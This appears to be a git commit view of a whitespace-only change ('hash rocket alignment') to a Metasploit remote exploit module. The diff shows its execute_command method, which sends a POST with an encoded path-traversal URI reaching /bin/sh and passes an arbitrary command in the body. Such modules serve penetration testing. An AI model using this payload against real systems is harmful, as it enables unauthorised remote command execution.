Hash rocket alignment.

This commit is contained in:
Quentin Kaiser 2019-10-29 12:28:39 +01:00
parent bc0c2bf721
commit 0531dd7bb9
1 changed files with 3 additions and 3 deletions

View File

@ -83,10 +83,10 @@ class MetasploitModule < Msf::Exploit::Remote
def execute_command(cmd, opts = {}) def execute_command(cmd, opts = {})
send_request_cgi({ send_request_cgi({
'method' => 'POST', 'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'), 'uri' => normalize_uri(target_uri.path, '/.%0d./.%0d./.%0d./.%0d./bin/sh'),
'headers' => {'Content-Length:' => '1'}, 'headers' => {'Content-Length:' => '1'},
'data' => "echo\necho\n#{cmd} 2>&1" 'data' => "echo\necho\n#{cmd} 2>&1"
} }
) )
end end